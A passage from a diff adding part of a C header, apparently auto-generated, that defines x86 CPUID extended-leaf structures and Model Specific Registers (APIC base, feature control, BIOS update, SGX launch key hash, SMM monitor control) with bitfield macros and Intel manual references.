CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE_FLAG 0x100000 +#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE_MASK 0x01 +#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE(_) (((_) >> 20) & 0x01) + uint32_t reserved3 : 5; + + /** + * [Bit 26] 1-GByte pages are available if 1. + */ + uint32_t pages_1gb_available : 1; +#define CPUID_EDX_PAGES_1GB_AVAILABLE_BIT 26 +#define CPUID_EDX_PAGES_1GB_AVAILABLE_FLAG 0x4000000 +#define CPUID_EDX_PAGES_1GB_AVAILABLE_MASK 0x01 +#define CPUID_EDX_PAGES_1GB_AVAILABLE(_) (((_) >> 26) & 0x01) + + /** + * [Bit 27] RDTSCP and IA32_TSC_AUX are available if 1. + */ + uint32_t rdtscp_available : 1; +#define CPUID_EDX_RDTSCP_AVAILABLE_BIT 27 +#define CPUID_EDX_RDTSCP_AVAILABLE_FLAG 0x8000000 +#define CPUID_EDX_RDTSCP_AVAILABLE_MASK 0x01 +#define CPUID_EDX_RDTSCP_AVAILABLE(_) (((_) >> 27) & 0x01) + uint32_t reserved4 : 1; + + /** + * [Bit 29] Intel(R) 64 Architecture available if 1. + */ + uint32_t ia64_available : 1; +#define CPUID_EDX_IA64_AVAILABLE_BIT 29 +#define CPUID_EDX_IA64_AVAILABLE_FLAG 0x20000000 +#define CPUID_EDX_IA64_AVAILABLE_MASK 0x01 +#define CPUID_EDX_IA64_AVAILABLE(_) (((_) >> 29) & 0x01) + uint32_t reserved5 : 2; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000001; + + +/** + * Extended Function CPUID Information. + */ +#define CPUID_BRAND_STRING1 0x80000002 + + /** + * Extended Function CPUID Information. + */ +#define CPUID_BRAND_STRING2 0x80000003 + + /** + * Extended Function CPUID Information. + */ +#define CPUID_BRAND_STRING3 0x80000004 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String. + */ + uint32_t processor_brand_string_1 : 32; +#define CPUID_EAX_PROCESSOR_BRAND_STRING_1_BIT 0 +#define CPUID_EAX_PROCESSOR_BRAND_STRING_1_FLAG 0xFFFFFFFF +#define CPUID_EAX_PROCESSOR_BRAND_STRING_1_MASK 0xFFFFFFFF +#define CPUID_EAX_PROCESSOR_BRAND_STRING_1(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_2 : 32; +#define CPUID_EBX_PROCESSOR_BRAND_STRING_2_BIT 0 +#define CPUID_EBX_PROCESSOR_BRAND_STRING_2_FLAG 0xFFFFFFFF +#define CPUID_EBX_PROCESSOR_BRAND_STRING_2_MASK 0xFFFFFFFF +#define CPUID_EBX_PROCESSOR_BRAND_STRING_2(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_3 : 32; +#define CPUID_ECX_PROCESSOR_BRAND_STRING_3_BIT 0 +#define CPUID_ECX_PROCESSOR_BRAND_STRING_3_FLAG 0xFFFFFFFF +#define CPUID_ECX_PROCESSOR_BRAND_STRING_3_MASK 0xFFFFFFFF +#define CPUID_ECX_PROCESSOR_BRAND_STRING_3(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_4 : 32; +#define CPUID_EDX_PROCESSOR_BRAND_STRING_4_BIT 0 +#define CPUID_EDX_PROCESSOR_BRAND_STRING_4_FLAG 0xFFFFFFFF +#define CPUID_EDX_PROCESSOR_BRAND_STRING_4_MASK 0xFFFFFFFF +#define CPUID_EDX_PROCESSOR_BRAND_STRING_4(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000002; + +/** + * @brief Extended Function CPUID Information + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_5 : 32; +#define CPUID_EAX_PROCESSOR_BRAND_STRING_5_BIT 0 +#define CPUID_EAX_PROCESSOR_BRAND_STRING_5_FLAG 0xFFFFFFFF +#define CPUID_EAX_PROCESSOR_BRAND_STRING_5_MASK 0xFFFFFFFF +#define CPUID_EAX_PROCESSOR_BRAND_STRING_5(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_6 : 32; +#define CPUID_EBX_PROCESSOR_BRAND_STRING_6_BIT 0 +#define CPUID_EBX_PROCESSOR_BRAND_STRING_6_FLAG 0xFFFFFFFF +#define CPUID_EBX_PROCESSOR_BRAND_STRING_6_MASK 0xFFFFFFFF +#define CPUID_EBX_PROCESSOR_BRAND_STRING_6(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_7 : 32; +#define CPUID_ECX_PROCESSOR_BRAND_STRING_7_BIT 0 +#define CPUID_ECX_PROCESSOR_BRAND_STRING_7_FLAG 0xFFFFFFFF +#define CPUID_ECX_PROCESSOR_BRAND_STRING_7_MASK 0xFFFFFFFF +#define CPUID_ECX_PROCESSOR_BRAND_STRING_7(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_8 : 32; +#define CPUID_EDX_PROCESSOR_BRAND_STRING_8_BIT 0 +#define CPUID_EDX_PROCESSOR_BRAND_STRING_8_FLAG 0xFFFFFFFF +#define CPUID_EDX_PROCESSOR_BRAND_STRING_8_MASK 0xFFFFFFFF +#define CPUID_EDX_PROCESSOR_BRAND_STRING_8(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000003; + +/** + * @brief Extended Function CPUID Information + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_9 : 32; +#define CPUID_EAX_PROCESSOR_BRAND_STRING_9_BIT 0 +#define CPUID_EAX_PROCESSOR_BRAND_STRING_9_FLAG 0xFFFFFFFF +#define CPUID_EAX_PROCESSOR_BRAND_STRING_9_MASK 0xFFFFFFFF +#define CPUID_EAX_PROCESSOR_BRAND_STRING_9(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_10 : 32; +#define CPUID_EBX_PROCESSOR_BRAND_STRING_10_BIT 0 +#define CPUID_EBX_PROCESSOR_BRAND_STRING_10_FLAG 0xFFFFFFFF +#define CPUID_EBX_PROCESSOR_BRAND_STRING_10_MASK 0xFFFFFFFF +#define CPUID_EBX_PROCESSOR_BRAND_STRING_10(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_11 : 32; +#define CPUID_ECX_PROCESSOR_BRAND_STRING_11_BIT 0 +#define CPUID_ECX_PROCESSOR_BRAND_STRING_11_FLAG 0xFFFFFFFF +#define CPUID_ECX_PROCESSOR_BRAND_STRING_11_MASK 0xFFFFFFFF +#define CPUID_ECX_PROCESSOR_BRAND_STRING_11(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_12 : 32; +#define CPUID_EDX_PROCESSOR_BRAND_STRING_12_BIT 0 +#define CPUID_EDX_PROCESSOR_BRAND_STRING_12_FLAG 0xFFFFFFFF +#define CPUID_EDX_PROCESSOR_BRAND_STRING_12_MASK 0xFFFFFFFF +#define CPUID_EDX_PROCESSOR_BRAND_STRING_12(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000004; + +/** + * @brief Extended Function CPUID Information + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000005; + + +/** + * Extended Function CPUID Information. + */ +#define CPUID_EXTENDED_CACHE_INFO 0x80000006 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 7:0] Cache Line size in bytes. + */ + uint32_t cache_line_size_in_bytes : 8; +#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES_BIT 0 +#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES_FLAG 0xFF +#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES_MASK 0xFF +#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES(_) (((_) >> 0) & 0xFF) + uint32_t reserved1 : 4; + + /** + * [Bits 15:12] L2 Associativity field. + * L2 associativity field encodings: + * - 00H - Disabled. + * - 01H - Direct mapped. + * - 02H - 2-way. + * - 04H - 4-way. + * - 06H - 8-way. + * - 08H - 16-way. + * - 0FH - Fully associative. + */ + uint32_t l2_associativity_field : 4; +#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD_BIT 12 +#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD_FLAG 0xF000 +#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD_MASK 0x0F +#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD(_) (((_) >> 12) & 0x0F) + + /** + * [Bits 31:16] Cache size in 1K units. + */ + uint32_t cache_size_in_1k_units : 16; +#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS_BIT 16 +#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS_FLAG 0xFFFF0000 +#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS_MASK 0xFFFF +#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS(_) (((_) >> 16) & 0xFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000006; + + +/** + * Extended Function CPUID Information. + */ +#define CPUID_EXTENDED_TIME_STAMP_COUNTER 0x80000007 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + uint32_t reserved1 : 8; + + /** + * [Bit 8] Invariant TSC available if 1. + */ + uint32_t invariant_tsc_available : 1; +#define CPUID_EDX_INVARIANT_TSC_AVAILABLE_BIT 8 +#define CPUID_EDX_INVARIANT_TSC_AVAILABLE_FLAG 0x100 +#define CPUID_EDX_INVARIANT_TSC_AVAILABLE_MASK 0x01 +#define CPUID_EDX_INVARIANT_TSC_AVAILABLE(_) (((_) >> 8) & 0x01) + uint32_t reserved2 : 23; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000007; + +/** + * @} + */ + + /** + * @defgroup model_specific_registers \ + * Model Specific Registers + * + * @see Vol2A[3.2(CPUID)] (reference) + * @{ + */ + /** + * @defgroup ia32_p5_mc \ + * IA32_P5_MC_(x) + * + * When machine-check exceptions are enabled for the Pentium processor (MCE flag is set in control register CR4), the + * machine-check exception handler uses the RDMSR instruction to read the error type from the P5_MC_TYPE register and the + * machine check address from the P5_MC_ADDR register. The handler then normally reports these register values to the + * system console before aborting execution. + * + * @see Vol3B[15.10.2(Pentium Processor Machine-Check Exception Handling)] (reference) + * @{ + */ + /** + * Machine-check exception address. + * + * @remarks 05_01H + * @see Vol4[2.22(MSRS IN PENTIUM PROCESSORS)] + */ +#define IA32_P5_MC_ADDR 0x00000000 + + /** + * Machine-check exception type. + * + * @remarks 05_01H + * @see Vol4[2.22(MSRS IN PENTIUM PROCESSORS)] + */ +#define IA32_P5_MC_TYPE 0x00000001 + /** + * @} + */ + + /** + * System coherence line size. + * + * @remarks 0F_03H + * @see Vol3A[8.10.5(Monitor/Mwait Address Range Determination)] + * @see Vol3A[8.10.5(Monitor/Mwait Address Range Determination)] (reference) + */ +#define IA32_MONITOR_FILTER_LINE_SIZE 0x00000006 + + /** + * Value as returned by instruction RDTSC. + * + * @remarks 05_01H + * @see Vol3B[17.17(TIME-STAMP COUNTER)] + */ +#define IA32_TIME_STAMP_COUNTER 0x00000010 + + /** + * The operating system can use this MSR to determine "slot" information for the processor and the proper microcode update + * to load. + * + * @remarks 06_01H + */ +#define IA32_PLATFORM_ID 0x00000017 +typedef union +{ + struct + { + uint64_t reserved1 : 50; + + /** + * @brief Platform Id (RO) + * + * [Bits 52:50] Contains information concerning the intended platform for the processor. + * + * + * 52 | 51 | 50 | _ + * --:|:--:|:---|----------------- + * 0 | 0 | 0 | Processor Flag 0 + * 0 | 0 | 1 | Processor Flag 1 + * 0 | 1 | 0 | Processor Flag 2 + * 0 | 1 | 1 | Processor Flag 3 + * 1 | 0 | 0 | Processor Flag 4 + * 1 | 0 | 1 | Processor Flag 5 + * 1 | 1 | 0 | Processor Flag 6 + * 1 | 1 | 1 | Processor Flag 7 + */ + uint64_t platform_id : 3; +#define IA32_PLATFORM_ID_PLATFORM_ID_BIT 50 +#define IA32_PLATFORM_ID_PLATFORM_ID_FLAG 0x1C000000000000 +#define IA32_PLATFORM_ID_PLATFORM_ID_MASK 0x07 +#define IA32_PLATFORM_ID_PLATFORM_ID(_) (((_) >> 50) & 0x07) + uint64_t reserved2 : 11; + }; + + uint64_t flags; +} ia32_platform_id_register; + + +/** + * This register holds the APIC base address, permitting the relocation of the APIC memory map. + * + * @remarks 06_01H + * @see Vol3A[10.4.4(Local APIC Status and Location)] + * @see Vol3A[10.4.5(Relocating the Local APIC Registers)] + */ +#define IA32_APIC_BASE 0x0000001B +typedef union +{ + struct + { + uint64_t reserved1 : 8; + + /** + * [Bit 8] BSP flag. + */ + uint64_t bsp_flag : 1; +#define IA32_APIC_BASE_BSP_FLAG_BIT 8 +#define IA32_APIC_BASE_BSP_FLAG_FLAG 0x100 +#define IA32_APIC_BASE_BSP_FLAG_MASK 0x01 +#define IA32_APIC_BASE_BSP_FLAG(_) (((_) >> 8) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bit 10] Enable x2APIC mode. + */ + uint64_t enable_x2apic_mode : 1; +#define IA32_APIC_BASE_ENABLE_X2APIC_MODE_BIT 10 +#define IA32_APIC_BASE_ENABLE_X2APIC_MODE_FLAG 0x400 +#define IA32_APIC_BASE_ENABLE_X2APIC_MODE_MASK 0x01 +#define IA32_APIC_BASE_ENABLE_X2APIC_MODE(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] APIC Global Enable. + */ + uint64_t apic_global_enable : 1; +#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE_BIT 11 +#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE_FLAG 0x800 +#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE_MASK 0x01 +#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE(_) (((_) >> 11) & 0x01) + + /** + * [Bits 47:12] APIC Base. + */ + uint64_t apic_base : 36; +#define IA32_APIC_BASE_APIC_BASE_BIT 12 +#define IA32_APIC_BASE_APIC_BASE_FLAG 0xFFFFFFFFF000 +#define IA32_APIC_BASE_APIC_BASE_MASK 0xFFFFFFFFF +#define IA32_APIC_BASE_APIC_BASE(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved3 : 16; + }; + + uint64_t flags; +} ia32_apic_base_register; + + +/** + * Control Features in Intel 64 Processor. + * + * @remarks If any one enumeration condition for defined bit field holds. + */ +#define IA32_FEATURE_CONTROL 0x0000003A +typedef union +{ + struct + { + /** + * @brief Lock bit (R/WO) + * + * [Bit 0] When set, locks this MSR from being written; writes to this bit will result in GP(0). + * + * @note Once the Lock bit is set, the contents of this register cannot be modified. Therefore the lock bit must be set + * after configuring support for Intel Virtualization Technology and prior to transferring control to an option ROM or the + * OS. Hence, once the Lock bit is set, the entire IA32_FEATURE_CONTROL contents are preserved across RESET when PWRGOOD is + * not deasserted. + * @remarks If any one enumeration condition for defined bit field position greater than bit 0 holds. + */ + uint64_t lock_bit : 1; +#define IA32_FEATURE_CONTROL_LOCK_BIT_BIT 0 +#define IA32_FEATURE_CONTROL_LOCK_BIT_FLAG 0x01 +#define IA32_FEATURE_CONTROL_LOCK_BIT_MASK 0x01 +#define IA32_FEATURE_CONTROL_LOCK_BIT(_) (((_) >> 0) & 0x01) + + /** + * @brief Enable VMX inside SMX operation (R/WL) + * + * [Bit 1] This bit enables a system executive to use VMX in conjunction with SMX to support Intel(R) Trusted Execution + * Technology. BIOS must set this bit only when the CPUID function 1 returns VMX feature flag and SMX feature flag set (ECX + * bits 5 and 6 respectively). + * + * @remarks If CPUID.01H:ECX[5] = 1 && CPUID.01H:ECX[6] = 1 + */ + uint64_t enable_vmx_inside_smx : 1; +#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX_BIT 1 +#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX_FLAG 0x02 +#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX_MASK 0x01 +#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX(_) (((_) >> 1) & 0x01) + + /** + * @brief Enable VMX outside SMX operation (R/WL) + * + * [Bit 2] This bit enables VMX for a system executive that does not require SMX. BIOS must set this bit only when the + * CPUID function 1 returns the VMX feature flag set (ECX bit 5). + * + * @remarks If CPUID.01H:ECX[5] = 1 + */ + uint64_t enable_vmx_outside_smx : 1; +#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX_BIT 2 +#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX_FLAG 0x04 +#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX_MASK 0x01 +#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 5; + + /** + * @brief SENTER Local Function Enable (R/WL) + * + * [Bits 14:8] When set, each bit in the field represents an enable control for a corresponding SENTER function. This field + * is supported only if CPUID.1:ECX.[bit 6] is set. + * + * @remarks If CPUID.01H:ECX[6] = 1 + */ + uint64_t senter_local_function_enables : 7; +#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES_BIT 8 +#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES_FLAG 0x7F00 +#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES_MASK 0x7F +#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES(_) (((_) >> 8) & 0x7F) + + /** + * @brief SENTER Global Enable (R/WL) + * + * [Bit 15] This bit must be set to enable SENTER leaf functions. This bit is supported only if CPUID.1:ECX.[bit 6] is set. + * + * @remarks If CPUID.01H:ECX[6] = 1 + */ + uint64_t senter_global_enable : 1; +#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE_BIT 15 +#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE_FLAG 0x8000 +#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE_MASK 0x01 +#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE(_) (((_) >> 15) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief SGX Launch Control Enable (R/WL) + * + * [Bit 17] This bit must be set to enable runtime reconfiguration of SGX Launch Control via the IA32_SGXLEPUBKEYHASHn MSR. + * + * @remarks If CPUID.(EAX=07H, ECX=0H): ECX[30] = 1 + */ + uint64_t sgx_launch_control_enable : 1; +#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE_BIT 17 +#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE_FLAG 0x20000 +#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE_MASK 0x01 +#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE(_) (((_) >> 17) & 0x01) + + /** + * @brief SGX Global Enable (R/WL) + * + * [Bit 18] This bit must be set to enable SGX leaf functions. + * + * @remarks If CPUID.(EAX=07H, ECX=0H): EBX[2] = 1 + */ + uint64_t sgx_global_enable : 1; +#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE_BIT 18 +#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE_FLAG 0x40000 +#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE_MASK 0x01 +#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE(_) (((_) >> 18) & 0x01) + uint64_t reserved3 : 1; + + /** + * @brief LMCE On (R/WL) + * + * [Bit 20] When set, system software can program the MSRs associated with LMCE to configure delivery of some machine check + * exceptions to a single logical processor. + * + * @remarks If IA32_MCG_CAP[27] = 1 + */ + uint64_t lmce_on : 1; +#define IA32_FEATURE_CONTROL_LMCE_ON_BIT 20 +#define IA32_FEATURE_CONTROL_LMCE_ON_FLAG 0x100000 +#define IA32_FEATURE_CONTROL_LMCE_ON_MASK 0x01 +#define IA32_FEATURE_CONTROL_LMCE_ON(_) (((_) >> 20) & 0x01) + uint64_t reserved4 : 43; + }; + + uint64_t flags; +} ia32_feature_control_register; + + +/** + * Per Logical Processor TSC Adjust. + * + * @remarks If CPUID.(EAX=07H, ECX=0H): EBX[1] = 1 + */ +#define IA32_TSC_ADJUST 0x0000003B +typedef struct +{ + /** + * Local offset value of the IA32_TSC for a logical processor. Reset value is zero. A write to IA32_TSC will modify the + * local offset in IA32_TSC_ADJUST and the content of IA32_TSC, but does not affect the internal invariant TSC hardware. + */ + uint64_t thread_adjust; +} ia32_tsc_adjust_register; + + +/** + * @brief BIOS Update Trigger (W) + * + * Executing a WRMSR instruction to this MSR causes a microcode update to be loaded into the processor. A processor may + * prevent writing to this MSR when loading guest states on VM entries or saving guest states on VM exits. + * + * @remarks 06_01H + * @see Vol3A[9.11.6(Microcode Update Loader)] + */ +#define IA32_BIOS_UPDATE_TRIGGER 0x00000079 + + /** + * @brief BIOS Update Signature (RO) + * + * Returns the microcode update signature following the execution of CPUID.01H. A processor may prevent writing to this MSR + * when loading guest states on VM entries or saving guest states on VM exits. + * + * @remarks 06_01H + */ +#define IA32_BIOS_UPDATE_SIGNATURE 0x0000008B +typedef union +{ + struct + { + /** + * [Bits 31:0] Reserved. + */ + uint64_t reserved : 32; +#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED_BIT 0 +#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED_FLAG 0xFFFFFFFF +#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED_MASK 0xFFFFFFFF +#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + + /** + * @brief Microcode update signature + * + * [Bits 63:32] This field contains the signature of the currently loaded microcode update when read following the + * execution of the CPUID instruction, function 1. It is required that this register field be pre-loaded with zero prior to + * executing the CPUID, function 1. If the field remains equal to zero, then there is no microcode update loaded. Another + * nonzero value will be the signature. + * + * @see Vol3A[9.11.7.1(Determining the Signature)] (reference) + */ + uint64_t microcode_update_signature : 32; +#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE_BIT 32 +#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE_FLAG 0xFFFFFFFF00000000 +#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE_MASK 0xFFFFFFFF +#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_bios_update_signature_register; + +/** + * @defgroup ia32_sgxlepubkeyhash \ + * IA32_SGXLEPUBKEYHASH[(64*n+63):(64*n)] + * + * Bits (64*n+63):(64*n) of the SHA256 digest of the SIGSTRUCT.MODULUS for SGX Launch Enclave. On reset, the default value + * is the digest of Intel's signing key. + * + * @remarks Read permitted If CPUID.(EAX=12H,ECX=0H): EAX[0]=1 && CPUID.(EAX=07H,ECX=0H):ECX[30]=1. Write permitted if + * CPUID.(EAX=12H,ECX=0H): EAX[0]=1 && IA32_FEATURE_CONTROL[17] = 1 && IA32_FEATURE_CONTROL[0] = 1. + * @{ + */ +#define IA32_SGXLEPUBKEYHASH0 0x0000008C +#define IA32_SGXLEPUBKEYHASH1 0x0000008D +#define IA32_SGXLEPUBKEYHASH2 0x0000008E +#define IA32_SGXLEPUBKEYHASH3 0x0000008F + /** + * @} + */ + + + /** + * SMM Monitor Configuration. + * + * @remarks If CPUID.01H: ECX[5]=1 || CPUID.01H: ECX[6] = 1 + */ +#define IA32_SMM_MONITOR_CTL 0x0000009B +typedef union +{ + struct + { + /** + * @brief Valid (R/W) + * + * [Bit 0] The STM may be invoked using VMCALL only if this bit is 1. Because VMCALL is used to activate the dual-monitor + * treatment, the dual-monitor treatment cannot be activated if the bit is 0. This bit is cleared when the logical + * processor is reset. + * + * @see Vol3C[34.15.6(Activating the Dual-Monitor Treatment)] + * @see Vol3C[34.15.5(Enabling the Dual-Monitor Treatment)] (reference) + */ + uint64_t valid : 1; +#define IA32_SMM_MONITOR_CTL_VALID_BIT 0 +#define IA32_SMM_MONITOR_CTL_VALID_FLAG 0x01 +#define IA32_SMM_MONITOR_CTL_VALID_MASK 0x01 +#define IA32_SMM_MONITOR_CTL_VALID(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 1; + + /** + * @brief Controls SMI unblocking by VMXOFF + * + * [Bit 2] Determines whether executions of VMXOFF unblock SMIs under the default treatment of SMIs and SMM. Executions of + * VMXOFF unblock SMIs unless bit 2 is 1 (the value of bit 0 is irrelevant). + * + * @remarks If IA32_VMX_MISC[28] + * @see Vol3C[34.14.4(VMXOFF and 